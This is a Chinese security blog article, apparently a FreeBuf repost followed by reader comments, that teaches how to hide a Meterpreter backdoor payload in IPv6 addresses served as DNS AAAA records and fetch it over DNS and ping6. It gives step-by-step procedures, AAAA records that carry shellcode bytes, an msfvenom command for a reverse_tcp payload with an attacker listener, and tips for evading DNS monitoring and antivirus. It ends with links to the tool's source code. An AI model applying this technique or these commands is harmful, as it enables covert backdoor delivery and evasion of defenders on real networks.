通过DNS AAAA记录和IPv6地址传输后门有效载荷

本文将介绍如何使用DNS流量中的IPv6地址(AAAA)记录传输有效载荷(payload)。

本文分为两部分:

第I部分:DNS AAAA记录和ICMPv6

第II部分:DNS和AAAA记录(大型DNS AAAA记录响应)

第I部分:DNS AAAA记录和ICMPv6

IPv6地址是传输有效载荷的好媒介,方法也比较简单。

比如,我们有如下所示的IPv6地址:

fe80:1111:0034:abcd:ef00:ab11:ccf1:0000

在该例子中,我们可以为我们的有效载荷使用IPv6地址的“xxxx”部分。

fe80:1111:xxxx:xxxx:xxxx:xxxx:xxxx:wxyz

针对我们的有效载荷,有两种方式使用该IPv6地址。其一,我们可以使用DNS和AAAA记录,其二,使用这些IPv6地址和DNS AAAA记录及通过Ping6的ICMPv6流量。

ICMPv6和Ping6:在该例子中,可以用注入的有效载荷将攻击者IPv6地址更改为伪IPv6地址,然后可通过Ping6循环从后门系统获得这些IPv6地址(ICMPv6流量)。

因此我们获得的是:

(后门系统)IP地址={192-168-1-120}

(攻击者系统)IP地址={192-168-1-111 ,fe80:1111:0034:abcd:ef00:ab11:ccf1:0000}

(攻击者系统) DNS名称 =test.domain.com,安装的DNS服务为{dnsmasq或dnsspoof}

DNS AAAA记录和ICMPv6步骤:

第1步:(攻击者DNS服务器)record0=>fe80:1111:0034:abcd:ef00:ab11:ccf1:0000AAAA test.domain.com

第2步:(后门系统)==>nslookup test.domain.com 192-168-1-111

第3步:(后门系统)循环Ping6=> (攻击者系统fe80:1111:0034:abcd:ef00:ab11:ccf1:0000

第4步:(后门系统)转储通过Ping6响应在IPv6地址中注入的有效载荷,转储这些部分 {0034:abcd:ef00:ab11:ccf1}

第5步:(攻击者DNS服务器)record0更改为test.domain.com的新AAAA

第6步:(攻击者DNS服务器)record0=>fe80:1111:cf89:abff:000e:09b1:33b1:0001AAAA test.domain.com

第6-1步:(攻击者系统)通过ifconfigeth0添加或更改NIC IPv6地址{ 新IPv6地址:fe80:1111:cf89:abff:000e:09b1:33b1:0001}

第6-2步:第3步的ping6响应 = 超时或不可访问(错误),此时为获取新IPv6地址的标志,或可能是你的流量被检测出并被阻止。

第7步:(后门系统)=>nslookup test.domain.com 192-168-1-111

第8步:(后门系统)循环Ping6test.domain.com => {新IPv6 地址fe80:1111:cf89:abff:000e:09b1:33b1:0001}

第9步:(后门系统)转储通过Ping6响应在IPv6地址中注入的有效载荷,转储这些部分:{cf89:abff:000e:09b1:33b1}

注1:何时知道IPv6地址已更改?当来自攻击者系统的ping6响应为超时或无法访问时,或者可通过Nslookup检查。

注2:你也可以使用第6-1步不需要的攻击者NIC的多个ipv6地址。此时注1不再适用。在这种情况下,通过nslookup之类的工具从攻击者系统获取新ipv6地址时应使用定时器或循环。这意味着可通过Nslookup、DNS轮询功能及分块IPv6 DNS名称从后门系统获得攻击者系统的逐行IPv6地址。

通过这些步骤获得了借助DNS和ICMPv6流量的20个字节的有效载荷,如下所示:

payload0=fe80:1111:0034:abcd:ef00:ab11:ccf1:0000==> 0034:abcd:ef00:ab11:ccf1

payload1=fe80:1111:cf89:abff:000e:09b1:33b1:0001==> cf89:abff:000e:09b1:33b1

因此,两个Ping6后我们获得如下有效载荷:

响应:0034abcdef00ab11ccf1cf89abff000e09b133b1

但在该技术中,你只能通过DNS流量实现这一点,这意味着你可以去掉Ping6的所有步骤。因此,如果你希望不使用Ping6和ICMPv6流量实现这一点,你只能在第2步和第7步中通过DNS响应从DNS服务器转储有效载荷(我们在第II部分中讨论这一点)。

下面将通过一些图片简要介绍DNS AAAA+ ICMPv6技术。

通过DNS AAAA记录和IPv6地址传输后门有效载荷_第1张图片

图A

在图A中可以看到,DNS名称test.domain.com有8个AAAA记录,还可以看到该IPv6地址的Ping响应。在该技术中,可通过1或2个请求下载DNS名称,如果想使用ICMPv6,则可以使用这些IPv6地址的Ping6。

在图A中,我们有8个AAAA记录,所以我们有8 *10字节= 80字节Meterpreter有效载荷!

fe80:1111:fc48:83e4:f0e8:cc00:0000:ae0test.domain.com

fe80:1111:4151:4150:5251:5648:31d2:ae1test.domain.com

fe80:1111:6548:8b52:6048:8b52:1848:ae2test.domain.com

fe80:1111:8b52:2048:8b72:5048:0fb7:ae3test.domain.com

fe80:1111:4a4a:4d31:c948:31c0:ac3c:ae4test.domain.com

fe80:1111:617c:022c:2041:c1c9:0d41:ae5test.domain.com

fe80:1111:01c1:e2ed:5241:5148:8b52:ae6test.domain.com

fe80:1111:208b:423c:4801:d066:8178:ae7test.domain.com

PAYLOAD0=fc4883e4f0e8cc000000 and Counter = ae0

PAYLOAD1=415141505251564831d2 and Counter = ae1

所以我们有该有效载荷=fc4883e4f0e8cc000000415141505251564831d2

为何Ping?何时可通过DNS请求获得有效载荷?

如果DNS请求为DNS请求循环或拥有AAAA记录的大量响应的DNS请求,则这可能标志会被DNS监控工具检测到。如果在每个DNSAAAA响应后有1或2个AAAA记录的ping6,则这是正常流量,被DNS监控设备或工具检测到的风险很低。

比如,你可以只使用拥有1、2或3个AAAA记录的一个响应的一个请求。这意味着,如果你的响应有4个或更多AAAA记录,则网络监控设备/工具可能会检测到你的流量。

从图A中可以看到,我对test.domain.com的请求在响应中有8个AAAA记录。

所以在这种情况下,你应该在IPv6地址和DNS名称中对你的有效载荷分块。

我们来解释一下ICMPv6,如果你想通过IPV6地址ping一个系统,首先你应得到该系统的IPv6地址,所以你总是需要DNS请求。重点是,要转储所有IPv6地址及转储在IPv6地址中注入的Meterpreter有效载荷,你需要多少DNS请求?

一个请求?

如果你想通过一个请求和一个响应获得所有IPv6地址,则一个DNS响应中的AAAA记录过多,因此被检测到的风险较高。如图A1所示:

 通过DNS AAAA记录和IPv6地址传输后门有效载荷_第2张图片

图A1

在下面的图A2中,你可以看到2个请求的长度,第一个为小响应,第二个为大响应。

通过DNS AAAA记录和IPv6地址传输后门有效载荷_第3张图片

图A2

从图A2中可以看到,我们有两个DNSAAAA响应,第一个长度为132(小响应),第二个长度为1503(大响应)。

我们将解释通过DNS AAAA记录转储所有IPv6地址的一个请求和一个响应,但在这种情况下,我们要谈论DNS + ICMPv6方法,及检测大DNS AAAA记录响应的风险,从图A2中可以看到,第二个响应的长度较大,在这样的长度下,被DNS监控工具检测到的风险较高。

两个或两个以上请求?

从下面的图B中可以看到,我们的有效载荷是在3个DNS名称中{test0.domain.com 、test1.domain.com、test2.domain.com}

我们对每个“100%Ping回复”IPv6地址进行了ping6。

因此在这个例子中,我们有3个请求和3个响应,每个响应有两个AAAA记录,每个DNS AAAA响应后有ICMPv6流量,最终,DNS响应的长度较小。

通过DNS AAAA记录和IPv6地址传输后门有效载荷_第4张图片

图B

注意:对于Ping6回复,我们的Linux系统中有多个IPv6地址,如图C所示。

你可以通过“Ifconfig或多个IPv6分配到NIC”执行第6-1步,如图C所示。

通过DNS AAAA记录和IPv6地址传输后门有效载荷_第5张图片

图C

我们的DNS查询如图C1所示:

通过DNS AAAA记录和IPv6地址传输后门有效载荷_第6张图片

图C1

下面的图D中是对请求和响应分块的另一个例子:

 通过DNS AAAA记录和IPv6地址传输后门有效载荷_第7张图片

图D

下面的图E中是DNS请求和响应的DNS服务器日志:

通过DNS AAAA记录和IPv6地址传输后门有效载荷_第8张图片

图E

从上面的图片可以看出,该方法在技术上是可行的,我们后续将推出该方法的C#源代码。

第II部分:DNS和AAAA记录(大型DNS AAAA记录响应)

现在我们探讨一下DNS和AAAA记录,并探讨一下如何通过从伪DNS服务器到后门系统的一个DNS请求和一个DNS响应获得这些有效载荷。我们讨论一下大型AAAA响应,其意味着在一个DNS响应后你可以获得后门系统中的所有有效载荷,并可以通过一个DNS AAAA响应获得Meterpreter会话。

用NativePaylaod_IP6DNS工具通过DNS AAAA记录传输后门有效载荷的步骤:

第1步:用主机文件制作FakeDnsServer。

在这种情况下对于攻击者系统,我们使用dnsmasq工具和dnsmasq.hosts文件。

在制作文件前需要有效载荷,通过以下命令可获得一个有效载荷:

Msfvenom–arch x86_64 –platform windows -pwindows/x64/meterpreter/reverse_tcp lhost192-168-1-50 -f c >/payload.txt

注意:在该例子中,192-168-1-50是攻击者伪Dns服务器和攻击者Metasploit监听器。

现在可以通过该有效载荷字符串制作主机文件了(如图1所示),可通过以下语法制作:

syntax1:NativePayload_IP6DNS.exe null0034abcdef00ab11ccf1cf89abff000e09b133b1...

 通过DNS AAAA记录和IPv6地址传输后门有效载荷_第9张图片

图1

现在将这些IPv6地址拷贝到DNS主机文件(如图2所示),每行IPv6地址后所需的DNS名称见图2。

通过DNS AAAA记录和IPv6地址传输后门有效载荷_第10张图片

图2

在该例子中,对于DNS服务器,我们可以使用dnsmasq工具,因此你可以使用/etc / hosts文件或/etc/dnsmasq.hosts

这取决于你的dnsmasq工具的配置。

你可以通过以下命令启动你的DNS服务器,如图3所示:

通过DNS AAAA记录和IPv6地址传输后门有效载荷_第11张图片

图3

启动DNS服务器后,你的dnsmasq应该会从主机文件中读取至少51个地址。

最终,使用该语法,你可以通过一个DNSIPv6 AAAA记录响应获得Meterpreter会话(一个大型响应,如A2所示,第二个DNS响应长度为1503)

语法:NativePayload_IP6DNS.exe “FQDN” “Fake DNS Server”

语法:NativePayload_IP6DNS.exe test.domain.com 192-168-1-50

通过DNS AAAA记录和IPv6地址传输后门有效载荷_第12张图片

图4

总结

DNS流量PTR记录,尤其是IPv6AAAA记录,是传输你的有效载荷的利器,这样可以绕过网络监控或类似的东西,利用这些技术还可以绕过防病毒软件。

NativePayload_IP6DNS.exe工具的C#源代码(DNS AAAA记录)

https://github.com/DamonMohammadbagher/NativePayload_IP6DNS

NativePayload_DNS.exe工具的C#源代码(DNS PTR记录)

https://github.com/DamonMohammadbagher/NativePayload_DNS

*参考来源:LinkedIn,本文作者:华为未然实验室,转载请注明来自FreeBuf

发表评论

已有 3 条评论

  • 补丁君  (3级) 皮皮虾训练场长  2017-03-06 回复 1楼

    一毛一样的为啥要发?

    亮了( 4)
  • 常运  (5级) c4td0g, 信安从业者,信安爱好者。(各位爷,轻点喷)  2017-03-06 回复 2楼

    一毛一样的为啥要发?

    亮了( 5)
  • jailer  2017-03-07 回复 3楼

    github上的英文介绍貌似不咋地啊,不行就写汉字吧

你可能感兴趣的:(Linux渗透)